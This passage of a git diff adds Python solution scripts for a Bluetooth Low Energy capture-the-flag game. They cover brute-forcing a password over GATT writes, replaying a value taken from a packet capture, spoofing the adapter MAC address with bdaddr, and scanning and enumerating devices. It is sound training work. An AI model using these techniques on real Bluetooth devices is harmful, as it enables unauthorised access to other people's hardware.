+    svc=p.getServiceByUUID(0x00FF)
+    p.writeCharacteristic(cccd, b"\x01\x00");
+
+    sys.stdout.write("\rTrying: %s" % password.rstrip())
+    response = p.writeCharacteristic(0x2C, hexlif2)
+
+    gotResponse = False
+    while gotResponse == False:
+      if p.waitForNotifications(1.0):
+        rsp = notificationData
+        hex = binascii.b2a_hex(rsp)
+        hexstr = str(hex).strip("0").upper()
+        #sys.stdout.write(" Response: " + hexstr) # for debugging
+        
+        if(password.strip("0") != hexstr):
+          print(" Flag: %s" % notificationData.rstrip())
+          exit()
+        else:
+          gotResponse = True
+          continue
+      print "Waiting..."    
+    
+  finally:            
+    p.disconnect()
\ No newline at end of file
diff --git a/lvl_05.py b/lvl_05.py
new file mode 100755
index 0000000..f98d9b9
--- /dev/null
+++ b/lvl_05.py
@@ -0,0 +1,38 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ         find a valid write value in this pcap to use below
+44  0x2C   READ WRITE   https://github.com/hackgnar/ble_ctf_infinity/blob/master/gatt_servers/pcap_write/write_sample.pcap
+46  0x2E   READ WRITE   write here to goto to scoreboard
+
+84cf61c35b2d9c92217d
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 05")
+hex1 = binascii.unhexlify(str('%0*x' % (4,5)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+print("Sending \"121212121222\" to 0x2c")
+
+services=p.getServices()
+
+hexlif2 = binascii.unhexlify("121212121222")
+hexlif2 = str(hexlif2)
+response = p.writeCharacteristic(0x2C, hexlif2, True)
+
+print("Reading value")
+hex1 = p.readCharacteristic(0x2C)
+hex2 = binascii.b2a_hex(hex1) 
+hexlif2 = str(binascii.unhexlify(hex2))
+print("Flag: %s" % hexlif2)
+
+p.disconnect()
\ No newline at end of file
diff --git a/lvl_05_solution.png b/lvl_05_solution.png
new file mode 100644
index 0000000..310f5c6
--- /dev/null
+++ b/lvl_05_solution.png
Binary files differ
diff --git a/lvl_06.py b/lvl_06.py
new file mode 100755
index 0000000..a2cd758
--- /dev/null
+++ b/lvl_06.py
@@ -0,0 +1,32 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+import subprocess
+  
+'''
+42  0x2A   READ         Connect with mac 11:22:33:44:55:66. Try using bluez's bdaddr
+44  0x2C   READ 
+46  0x2E   READ WRITE   write here to goto to scoreboard
+
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 06")
+hex1 = binascii.unhexlify(str('%0*x' % (4,5)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+subprocess.call(['bdaddr','-i', 'hci0','11:22:33:44:55:66', '0'])
+
+print("Reading value")
+hex1 = p.readCharacteristic(0x2C)
+hex2 = binascii.b2a_hex(hex1) 
+hexlif2 = str(binascii.unhexlify(hex2))
+print("Flag: %s" % hexlif2)
+
+p.disconnect()
\ No newline at end of file
diff --git a/notes.txt b/notes.txt
new file mode 100644
index 0000000..71efc09
--- /dev/null
+++ b/notes.txt
@@ -0,0 +1,4 @@
+Search for MAC addresses around:
+	hcitool lescan
+enumerate the MAC
+	bleah -b 11:22:33:44:55:66 -e
\ No newline at end of file
diff --git a/reset_scoreboard.py b/reset_scoreboard.py
new file mode 100755
index 0000000..43da655
--- /dev/null
+++ b/reset_scoreboard.py
@@ -0,0 +1,30 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+chall_uuid = 0x32
+score_uuid = 0x00ff
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+print ("Attached to peripheral")
+services=p.getServices()
+
+print("Resetting scoreboard")
+hex1 = binascii.unhexlify("C1EA12")
+response = p.writeCharacteristic(chall_uuid, hex1, True)
+#print (response) 
+
+scoreboard = p.getServiceByUUID(score_uuid)
+#print(scoreboard)
+q = scoreboard.getCharacteristics()
+for characteristic in q:
+  hex1 = int(format(characteristic.getHandle(),'02X'), 16)
+  if (characteristic.supportsRead()):
+     hex2 = binascii.b2a_hex(p.readCharacteristic(hex1))
+     hexlif2 = binascii.unhexlify(hex2)
+     print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() + "	" + hexlif2)
+  
+p.disconnect()
\ No newline at end of file
diff --git a/send2handle.py b/send2handle.py
new file mode 100755
index 0000000..c5dfe47
--- /dev/null
+++ b/send2handle.py
@@ -0,0 +1,31 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+
+if len(sys.argv) != 3:
+   print "send content to handle\n eg.", sys.argv[0], "0x30 \"some content\""
+   quit()
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+print ("Attached to peripheral")
+
+handle = sys.argv[1]
+content = sys.argv[2]
+
+print("Sending \""+content+"\" to "+handle)
+
+services=p.getServices()
+
+hex_int = int(handle, 16)
+new_int = hex_int + 0x200
+print(hex_int)
+hex1 = binascii.hexlify(handle)
+#hex2 = binascii.unhexlify(str(content))
+response = p.writeCharacteristic(hex_int, content, True)
+print (response) 
+
+p.disconnect()
\ No newline at end of file
diff --git a/submit_flag.py b/submit_flag.py
new file mode 100755
index 0000000..0a431c8
--- /dev/null
+++ b/submit_flag.py
@@ -0,0 +1,34 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+
+'''
+
+if len(sys.argv) != 2:
+   print "submit password\n eg.", sys.argv[0], "<flag>"
+   quit()
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+print ("Attached to peripheral")
+
+flag = sys.argv[1]
+
+print("Submitting Password")
+p.writeCharacteristic(0x2E, flag, withResponse=False)
+
+scoreboard = p.getServiceByUUID(0xFF)
+q = scoreboard.getCharacteristics()
+for characteristic in q:
+  hex1 = int(format(characteristic.getHandle(),'02X'), 16)
+  if (characteristic.supportsRead()):
+       hexlif2 = characteristic.read()
+       print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() + " " + hexlif2)
+  else:
+     print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() )
+
+p.disconnect()